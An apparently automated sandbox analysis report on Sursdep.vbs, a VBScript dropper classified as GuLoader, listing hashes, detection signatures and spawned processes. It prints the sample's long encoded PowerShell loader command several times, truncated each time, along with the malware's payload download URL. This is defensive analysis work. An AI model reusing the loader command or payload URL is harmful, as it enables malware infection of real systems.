Windows Analysis Report
Sursdep.vbs

Overview

General Information

Sample Name: Sursdep.vbs
Analysis ID: 624865
MD5: 434578c759bef1db26fa7b3165ac84ad
SHA1: df84b67b8df35a4ab8770b9f3c3f370e26b7763a
SHA256: 5439ae4fe11fe9f6f264fc0d4617eefa997719d9b65be8745d3632b2203e3557
Tags: Guloadervbs
Infos:

Detection

GuLoader
Score: 72
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
C2 URLs / IPs found in malware configuration
Encrypted powershell cmdline option found
Very long command line found
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges

Classification

AV Detection
barindex
Found malware configuration
Source: 0000000C.00000002.782730251.0000000009DF0000.00000040.00000800.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://cdn.discordapp.com/attachments/973448911232585778/973449155060047882/Enrico-7173724.jpg2"}

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://cdn.discordapp.com/attachments/973448911232585778/973449155060047882/Enrico-7173724.jpg2
Source: powershell.exe, 0000000C.00000002.780062825.00000000080F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 0000000C.00000003.376188015.0000000008168000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.780195557.000000000816C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.microsoft.cl
Source: powershell.exe, 0000000C.00000002.774975803.0000000005491000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary
barindex
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABmAGQAdAB0AG8AbgAgAFMAdAB2AG4AZQAgAFoAaQBuAGMAZQBkACAASQBOAEQAUwBUAFQAIABNAGUAdAB0AGEAcgB0AGEAbQBnADcAIABTAGEAbABhACAAYwBlAGIAYQBsACAARgBPAFIAUwBUACAATwBzAHQAZQBvAGwAaQB0ADEAIABVAG4AZABpAHMAYwBvAHUANgAgAEEAZAByAGUAcwBzAGEAIABDAGEAbgBhAGQAaQA5ACAATwBWAEUAUgBUAEEATABFACAAQgBlAG0AZQAgAGQAZQBzAHQAcgB1AGsAdABpACAATwBTAFQARQBBAE4AUgBFAFQATgAgAEQAcgBpAGYAdABzAHMAdAB5AHIAMQAgAEkATgBEAEwARQBEAEUATgBEAEUAIABCAGEAZwB0ADcAIABCAEEAUgBTAEwARQBEAEUAUwAgAE8ATwBQAEgATwAgAEwAYQBjAGUAZAA5ACAADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYwBsAGEAcwBzACAASABlAHgAYQBzAHQAaQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABSAHQAbABNAG8AdgBlAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABCAGEAZwBmAHUAbABzADUAMQAsAHIAZQBmACAASQBuAHQAMwAyACAAQgBhAGcAZgB1AGwAcwA1ADIALABpAG4AdAAgAEIAYQBnAGYAdQBsAHMANQAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVgBBACgAaQBuAHQAIABIAGUAeABhAHMAdABpAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAGUAbQBpAHIAZQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ACwAcgBlAGYAIABJAG4AdAAzADIAIABIAGUAeABhAHMAdABpAGMAaAAsAGkAbgB0ACAAUAByAGkAbgB0ADgALABpAG4AdAAgAEgAZQB4AGEAcwB0AGkAYwBoADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAHUAaQBuAHQAIABCAGEAZwBmAHUAbABzADUANQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ADYAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMARABFAEgAQQBDAEgARQAgAFQAbwBzAHMAZQAzACAAVABlAGEAdABlAHIANgAgAGQAaQBhAGwAZQBjAHQAaQBjACAARQBOAEwASQBTAFQARQBEAFIAIABGAGQAcwBlADcAIABBAHMAdAByAG8AIABTAHcAZQByAHYAZQByADkAIABkAG8AdwBuAGUAeQAgAHIAaQBiAGgAdQBzAHQAIABUAGEAZwByACAAUwBwAHIAZwBlAHMAIABWAGkAbABsAGEANQAgAEgAZQB0AGUAcgBvAGQAeQBuADEAIABFAFUAUABMAE8ASQAgAEIAeQB0AHQAZQAzACAAcwBuAGsAZQByAGYAcgAgAEIAdQBuAGQAZwBhAHIAbgAgAHMAdAByAG0AawByAGUAZABzACAATAB0AG4AaQBuAGcAYgBpADUAIABpAG4AZABzACAAQQBpAHIAbABpAGYAdAA1ACAATwBDAFQAQQBWAEkATgBBAFYASQAgAFMAawBvAGsAbwBtAGkAcwBoAGIAIABVAGQAcgBlAG4AcwBuAGkAbgBnADUAIABUAGgAcgBhAHcAYwB5ACAATQBvAG4AbwBzAG8AZABpADUAIABpAG0AcABhAGwAZQBtAGUAIABJAG4AZABzAGEAdABzAGUAbgB0ADcAIABvAHIAZABlAG4AcwBtACAAIAANAAoAJABIAGUAeABhAHMAdABpAGMAaAAzAD0AMAA7AA0ACgAkAEgAZQB4AGEAcwB0AGkAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQASABlAHgAYQBzAHQAaQBjAGgAOAA9AFsASABlAHgAYQBzAHQAaQBjAGgAMQBdADoAOgBWAEEAKAAtADEALABbAHIAZQBmAF0AJABIAGUAeABhAHMAdABpAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAEgAZQB4AGEAcwB0AGkAYwBoADkALAAxADIAMgA4ADgALA
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABmAGQAdAB0AG8AbgAgAFMAdAB2AG4AZQAgAFoAaQBuAGMAZQBkACAASQBOAEQAUwBUAFQAIABNAGUAdAB0AGEAcgB0AGEAbQBnADcAIABTAGEAbABhACAAYwBlAGIAYQBsACAARgBPAFIAUwBUACAATwBzAHQAZQBvAGwAaQB0ADEAIABVAG4AZABpAHMAYwBvAHUANgAgAEEAZAByAGUAcwBzAGEAIABDAGEAbgBhAGQAaQA5ACAATwBWAEUAUgBUAEEATABFACAAQgBlAG0AZQAgAGQAZQBzAHQAcgB1AGsAdABpACAATwBTAFQARQBBAE4AUgBFAFQATgAgAEQAcgBpAGYAdABzAHMAdAB5AHIAMQAgAEkATgBEAEwARQBEAEUATgBEAEUAIABCAGEAZwB0ADcAIABCAEEAUgBTAEwARQBEAEUAUwAgAE8ATwBQAEgATwAgAEwAYQBjAGUAZAA5ACAADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYwBsAGEAcwBzACAASABlAHgAYQBzAHQAaQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABSAHQAbABNAG8AdgBlAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABCAGEAZwBmAHUAbABzADUAMQAsAHIAZQBmACAASQBuAHQAMwAyACAAQgBhAGcAZgB1AGwAcwA1ADIALABpAG4AdAAgAEIAYQBnAGYAdQBsAHMANQAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVgBBACgAaQBuAHQAIABIAGUAeABhAHMAdABpAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAGUAbQBpAHIAZQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ACwAcgBlAGYAIABJAG4AdAAzADIAIABIAGUAeABhAHMAdABpAGMAaAAsAGkAbgB0ACAAUAByAGkAbgB0ADgALABpAG4AdAAgAEgAZQB4AGEAcwB0AGkAYwBoADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAHUAaQBuAHQAIABCAGEAZwBmAHUAbABzADUANQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ADYAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMARABFAEgAQQBDAEgARQAgAFQAbwBzAHMAZQAzACAAVABlAGEAdABlAHIANgAgAGQAaQBhAGwAZQBjAHQAaQBjACAARQBOAEwASQBTAFQARQBEAFIAIABGAGQAcwBlADcAIABBAHMAdAByAG8AIABTAHcAZQByAHYAZQByADkAIABkAG8AdwBuAGUAeQAgAHIAaQBiAGgAdQBzAHQAIABUAGEAZwByACAAUwBwAHIAZwBlAHMAIABWAGkAbABsAGEANQAgAEgAZQB0AGUAcgBvAGQAeQBuADEAIABFAFUAUABMAE8ASQAgAEIAeQB0AHQAZQAzACAAcwBuAGsAZQByAGYAcgAgAEIAdQBuAGQAZwBhAHIAbgAgAHMAdAByAG0AawByAGUAZABzACAATAB0AG4AaQBuAGcAYgBpADUAIABpAG4AZABzACAAQQBpAHIAbABpAGYAdAA1ACAATwBDAFQAQQBWAEkATgBBAFYASQAgAFMAawBvAGsAbwBtAGkAcwBoAGIAIABVAGQAcgBlAG4AcwBuAGkAbgBnADUAIABUAGgAcgBhAHcAYwB5ACAATQBvAG4AbwBzAG8AZABpADUAIABpAG0AcABhAGwAZQBtAGUAIABJAG4AZABzAGEAdABzAGUAbgB0ADcAIABvAHIAZABlAG4AcwBtACAAIAANAAoAJABIAGUAeABhAHMAdABpAGMAaAAzAD0AMAA7AA0ACgAkAEgAZQB4AGEAcwB0AGkAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQASABlAHgAYQBzAHQAaQBjAGgAOAA9AFsASABlAHgAYQBzAHQAaQBjAGgAMQBdADoAOgBWAEEAKAAtADEALABbAHIAZQBmAF0AJABIAGUAeABhAHMAdABpAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAEgAZQB4AGEAcwB0AGkAYwBoADkALAAxADIAMgA4ADgALA Jump to behavior
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 4264
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 4264 Jump to behavior
Java / VBScript file with very long strings (likely obfuscated code)
Source: Sursdep.vbs Initial sample: Strings found which are bigger than 50
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0528D720 12_2_0528D720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0528D7AB 12_2_0528D7AB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_0528D7E8 12_2_0528D7E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_083E99F0 12_2_083E99F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_083E81F0 12_2_083E81F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_083E8200 12_2_083E8200
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_083E99F0 12_2_083E99F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_087FC268 12_2_087FC268
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_087F3E48 12_2_087F3E48
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_087FD239 12_2_087FD239
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_083E0013 12_2_083E0013
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_083E0040 12_2_083E0040
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Sursdep.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABmAGQAdAB0AG8AbgAgAFMAdAB2AG4AZQAgAFoAaQBuAGMAZQBkACAASQBOAEQAUwBUAFQAIABNAGUAdAB0AGEAcgB0AGEAbQBnADcAIABTAGEAbABhACAAYwBlAGIAYQBsACAARgBPAFIAUwBUACAATwBzAHQAZQBvAGwAaQB0ADEAIABVAG4AZABpAHMAYwBvAHUANgAgAEEAZAByAGUAcwBzAGEAIABDAGEAbgBhAGQAaQA5ACAATwBWAEUAUgBUAEEATABFACAAQgBlAG0AZQAgAGQAZQBzAHQAcgB1AGsAdABpACAATwBTAFQARQBBAE4AUgBFAFQATgAgAEQAcgBpAGYAdABzAHMAdAB5AHIAMQAgAEkATgBEAEwARQBEAEUATgBEAEUAIABCAGEAZwB0ADcAIABCAEEAUgBTAEwARQBEAEUAUwAgAE8ATwBQAEgATwAgAEwAYQBjAGUAZAA5ACAADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYwBsAGEAcwBzACAASABlAHgAYQBzAHQAaQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABSAHQAbABNAG8AdgBlAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABCAGEAZwBmAHUAbABzADUAMQAsAHIAZQBmACAASQBuAHQAMwAyACAAQgBhAGcAZgB1AGwAcwA1ADIALABpAG4AdAAgAEIAYQBnAGYAdQBsAHMANQAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVgBBACgAaQBuAHQAIABIAGUAeABhAHMAdABpAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAGUAbQBpAHIAZQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ACwAcgBlAGYAIABJAG4AdAAzADIAIABIAGUAeABhAHMAdABpAGMAaAAsAGkAbgB0ACAAUAByAGkAbgB0ADgALABpAG4AdAAgAEgAZQB4AGEAcwB0AGkAYwBoADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAHUAaQBuAHQAIABCAGEAZwBmAHUAbABzADUANQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ADYAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMARABFAEgAQQBDAEgARQAgAFQAbwBzAHMAZQAzACAAVABlAGEAdABlAHIANgAgAGQAaQBhAGwAZQBjAHQAaQBjACAARQBOAEwASQBTAFQARQBEAFIAIABGAGQAcwBlADcAIABBAHMAdAByAG8AIABTAHcAZQByAHYAZQByADkAIABkAG8AdwBuAGUAeQAgAHIAaQBiAGgAdQBzAHQAIABUAGEAZwByACAAUwBwAHIAZwBlAHMAIABWAGkAbABsAGEANQAgAEgAZQB0AGUAcgBvAGQAeQBuADEAIABFAFUAUABMAE8ASQAgAEIAeQB0AHQAZQAzACAAcwBuAGsAZQByAGYAcgAgAEIAdQBuAGQAZwBhAHIAbgAgAHMAdAByAG0AawByAGUAZABzACAATAB0AG4AaQBuAGcAYgBpADUAIABpAG4AZABzACAAQQBpAHIAbABpAGYAdAA1ACAATwBDAFQAQQBWAEkATgBBAFYASQAgAFMAawBvAGsAbwBtAGkAcwBoAGIAIABVAGQAcgBlAG4AcwBuAGkAbgBnADUAIABUAGgAcgBhAHcAYwB5ACAATQBvAG4AbwBzAG8AZABpADUAIABpAG0AcABhAGwAZQBtAGUAIABJAG4AZABzAGEAdABzAGUAbgB0ADcAIABvAHIAZABlAG4AcwBtACAAIAANAAoAJABIAGUAeABhAHMAdABpAGMAaAAzAD0AMAA7AA0ACgAkAEgAZQB4AGEAcwB0AGkAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQASABlAHgAYQBzAHQAaQBjAGgAOAA9AFsASABlAHgAYQBzAHQAaQBjAGgAMQBdADoAOgBWAEEAKAAtADEALABbAHIAZQBmAF0AJABIAGUAeABhAHMAdABpAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAEgAZQB4AGEAcwB0AGkAYwBoADkALAAxADIAMgA4ADgALA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC09A.tmp" "c:\Users\user\AppData\Local\Temp\qcbqzoit\CSC5984C3E5F49B45B5B1AD6CB2401B5385.TMP"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABmAGQAdAB0AG8AbgAgAFMAdAB2AG4AZQAgAFoAaQBuAGMAZQBkACAASQBOAEQAUwBUAFQAIABNAGUAdAB0AGEAcgB0AGEAbQBnADcAIABTAGEAbABhACAAYwBlAGIAYQBsACAARgBPAFIAUwBUACAATwBzAHQAZQBvAGwAaQB0ADEAIABVAG4AZABpAHMAYwBvAHUANgAgAEEAZAByAGUAcwBzAGEAIABDAGEAbgBhAGQAaQA5ACAATwBWAEUAUgBUAEEATABFACAAQgBlAG0AZQAgAGQAZQBzAHQAcgB1AGsAdABpACAATwBTAFQARQBBAE4AUgBFAFQATgAgAEQAcgBpAGYAdABzAHMAdAB5AHIAMQAgAEkATgBEAEwARQBEAEUATgBEAEUAIABCAGEAZwB0ADcAIABCAEEAUgBTAEwARQBEAEUAUwAgAE8ATwBQAEgATwAgAEwAYQBjAGUAZAA5ACAADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYwBsAGEAcwBzACAASABlAHgAYQBzAHQAaQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABSAHQAbABNAG8AdgBlAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABCAGEAZwBmAHUAbABzADUAMQAsAHIAZQBmACAASQBuAHQAMwAyACAAQgBhAGcAZgB1AGwAcwA1ADIALABpAG4AdAAgAEIAYQBnAGYAdQBsAHMANQAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVgBBACgAaQBuAHQAIABIAGUAeABhAHMAdABpAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAGUAbQBpAHIAZQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ACwAcgBlAGYAIABJAG4AdAAzADIAIABIAGUAeABhAHMAdABpAGMAaAAsAGkAbgB0ACAAUAByAGkAbgB0ADgALABpAG4AdAAgAEgAZQB4AGEAcwB0AGkAYwBoADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAHUAaQBuAHQAIABCAGEAZwBmAHUAbABzADUANQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ADYAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMARABFAEgAQQBDAEgARQAgAFQAbwBzAHMAZQAzACAAVABlAGEAdABlAHIANgAgAGQAaQBhAGwAZQBjAHQAaQBjACAARQBOAEwASQBTAFQARQBEAFIAIABGAGQAcwBlADcAIABBAHMAdAByAG8AIABTAHcAZQByAHYAZQByADkAIABkAG8AdwBuAGUAeQAgAHIAaQBiAGgAdQBzAHQAIABUAGEAZwByACAAUwBwAHIAZwBlAHMAIABWAGkAbABsAGEANQAgAEgAZQB0AGUAcgBvAGQAeQBuADEAIABFAFUAUABMAE8ASQAgAEIAeQB0AHQAZQAzACAAcwBuAGsAZQByAGYAcgAgAEIAdQBuAGQAZwBhAHIAbgAgAHMAdAByAG0AawByAGUAZABzACAATAB0AG4AaQBuAGcAYgBpADUAIABpAG4AZABzACAAQQBpAHIAbABpAGYAdAA1ACAATwBDAFQAQQBWAEkATgBBAFYASQAgAFMAawBvAGsAbwBtAGkAcwBoAGIAIABVAGQAcgBlAG4AcwBuAGkAbgBnADUAIABUAGgAcgBhAHcAYwB5ACAATQBvAG4AbwBzAG8AZABpADUAIABpAG0AcABhAGwAZQBtAGUAIABJAG4AZABzAGEAdABzAGUAbgB0ADcAIABvAHIAZABlAG4AcwBtACAAIAANAAoAJABIAGUAeABhAHMAdABpAGMAaAAzAD0AMAA7AA0ACgAkAEgAZQB4AGEAcwB0AGkAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQASABlAHgAYQBzAHQAaQBjAGgAOAA9AFsASABlAHgAYQBzAHQAaQBjAGgAMQBdADoAOgBWAEEAKAAtADEALABbAHIAZQBmAF0AJABIAGUAeABhAHMAdABpAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAEgAZQB4AGEAcwB0AGkAYwBoADkALAAxADIAMgA4ADgALA Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC09A.tmp" "c:\Users\user\AppData\Local\Temp\qcbqzoit\CSC5984C3E5F49B45B5B1AD6CB2401B5385.TMP" Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1436:120:WilError_01
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Sursdep.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220512 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2mnz4klw.uec.ps1 Jump to behavior
